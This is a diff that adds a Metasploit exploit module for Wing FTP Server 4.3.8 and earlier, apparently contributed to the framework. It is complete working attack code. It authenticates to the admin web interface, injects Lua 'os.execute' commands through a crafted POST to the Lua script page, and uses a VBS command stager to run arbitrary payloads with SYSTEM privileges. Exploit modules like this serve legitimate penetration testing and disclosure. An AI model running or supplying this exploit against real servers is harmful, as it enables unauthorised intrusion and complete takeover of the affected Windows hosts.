Add Wing FTP Server post-auth remote command execution module

Author: nnam

modules/exploits/windows/ftp/wing_ftp_server_rce.rb

@@ -0,0 +1,123 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+class Metasploit3 < Msf::Exploit::Remote
+  include REXML
+  include Msf::Exploit::CmdStager
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Wing FTP Server Remote Command Execution',
+      'Description'    => %q{
+        This module exploits the embedded Lua interpreter in the admin interface for
+        versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
+        an attacker can use os.execute() to execute arbitrary system commands on
+        the target with SYSTEM privileges.
+      },
+      'Author'         =>
+        [
+          'Nicholas Nam (nick[at]executionflow.org)',
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'URL', 'http://www.wftpserver.com' ]
+        ],
+      'Arch'           => ARCH_X86,
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Windows VBS Stager', {} ]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Jun 19 2014',
+      'DefaultTarget'  => 0
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(5466),
+        OptString.new('USERNAME', [true, 'Admin username', '']),
+        OptString.new('PASSWORD', [true, 'Admin password', ''])
+      ], self.class
+    )
+    deregister_options('CMDSTAGER::FLAVOR')
+  end
+
+  def check
+    res = send_request_cgi(
+      {
+        'uri'     =>  '/admin_login.html',
+        'method'  => 'GET',
+      })
+
+    if res and res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    username = datastore['USERNAME']
+    password = datastore['PASSWORD']
+    @session_cookie = authenticate(username, password)
+
+    print_status("#{peer} - Sending payload")
+    # Execute the cmdstager, max length of the commands is ~1500
+    execute_cmdstager({:flavor => :vbs, :linemax => 1500})
+  end
+
+  def execute_command(cmd, opts = {})
+    command = "os.execute('cmd /c #{cmd}')"
+
+    res = send_request_cgi({
+      'uri'       => '/admin_lua_script.html',
+      'method'    => 'POST',
+      'cookie'    => @session_cookie,
+      'vars_post' => { 'command' => command }
+    })
+
+    if res and res.code != 200
+      fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
+    end
+  end
+
+  def authenticate(username, password)
+    print_status("#{peer} - Authenticating")
+    res = send_request_cgi({
+      'uri'       => '/admin_loginok.html',
+      'method'    => 'POST',
+      'vars_post' => {
+        'username'     => username,
+        'password'     => password,
+        'username_val' => username,
+        'password_val' => password,
+        'submit_btn'   => '+Login+'
+      }
+    })
+
+    uidadmin = ''
+    if res and res.body =~ /location='main.html\?lang=english';/
+      res.get_cookies.split(';').each do |cookie|
+        cookie.split(',').each do |value|
+          if value.split('=')[0] =~ /UIDADMIN/
+            uidadmin = value.split('=')[1]
+          end
+        end
+      end
+    else
+      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
+    end
+
+    return "UIDADMIN=#{uidadmin}"
+  end
+
+end
+